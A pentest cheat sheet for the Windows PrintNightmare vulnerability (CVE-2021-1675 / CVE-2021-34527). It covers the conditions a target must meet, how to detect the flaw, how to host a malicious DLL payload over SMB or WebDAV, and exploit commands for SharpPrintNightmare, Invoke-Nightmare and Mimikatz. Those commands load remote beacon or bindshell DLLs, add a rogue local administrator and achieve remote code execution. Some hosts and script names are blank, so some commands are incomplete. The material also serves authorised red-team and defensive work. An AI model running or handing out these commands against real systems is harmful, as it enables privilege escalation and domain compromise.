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CVE-2021-1675 / CVE-2021-34527

The DLL will be stored in C:\Windows\System32\spool\drivers\x64\3\. The exploit will execute the DLL either from the local filesystem or a remote share.


  • Spooler Service enabled (Mandatory)
  • Server with patches < June 2021
  • DC with Pre Windows 2000 Compatibility group
  • Server with registry key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall = (DWORD) 1
  • Server with registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = (DWORD) 0

Detect the vulnerability:

  • Impacket - rpcdump
    python3 ./ @ | egrep 'MS-RPRN|MS-PAR'
    Protocol: [MS-RPRN]: Print System Remote Protocol
  • It Was All A Dream
    git clone
    cd ItWasAllADream && poetry install && poetry shell
    itwasalladream -u user -p Password123 -d domain
    docker run -it itwasalladream -u username -p Password123 -d domain

Payload Hosting:

  • The payload can be hosted on Impacket SMB server since PR #1109:
    python3 ./ share /tmp/smb/
  • Using Invoke-BuildAnonymousSMBServer (Admin rights required on host):
    Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable
  • Using WebDav with SharpWebServer (Doesn't require admin rights):
    SharpWebServer.exe port=8888 dir=c:\users\public verbose=true

When using WebDav instead of SMB, you must add @[PORT] to the hostname in the URI, e.g.: \\\Downloads\beacon.dll WebDav client must be activated on exploited target. By default it is not activated on Windows workstations (you have to net start webclient) and it's not installed on servers. Here is how to detect activated webdav:

nxc smb -u user -p password -d domain.local -M webdav [TARGET]

Trigger the exploit:

  • SharpNightmare
    # require a modified Impacket:
    python3 ./ hackit.local/domain_user:Pass123@ '\\\smb\addCube.dll'
    python3 ./ hackit.local/domain_user:Pass123@ 'C:\addCube.dll'
    ## LPE
    SharpPrintNightmare.exe C:\addCube.dll
    ## RCE using existing context
    SharpPrintNightmare.exe '\\\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\'
    ## RCE using runas /netonly
    SharpPrintNightmare.exe '\\\smb\addCube.dll'  'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\' hackit.local domain_user Pass123
  • Invoke-Nightmare
    ## LPE only (PS1 + DLL)
    Import-Module .\cve-2021-1675.ps1
    Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
    Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*" 
    Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
  • Mimikatz v2.2.0-20210709+
    ## LPE
    misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
    ## RCE
    misc::printnightmare /server:CASTLE /library:\\\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
  • PrintNightmare - @outflanknl
    PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]

Debug informations

Error Message Debug
0x5 rpc_s_access_denied Permissions on the file in the SMB share
0x525 ERROR_NO_SUCH_USER The specified account does not exist.
0x180 unknown error code Share is not SMB2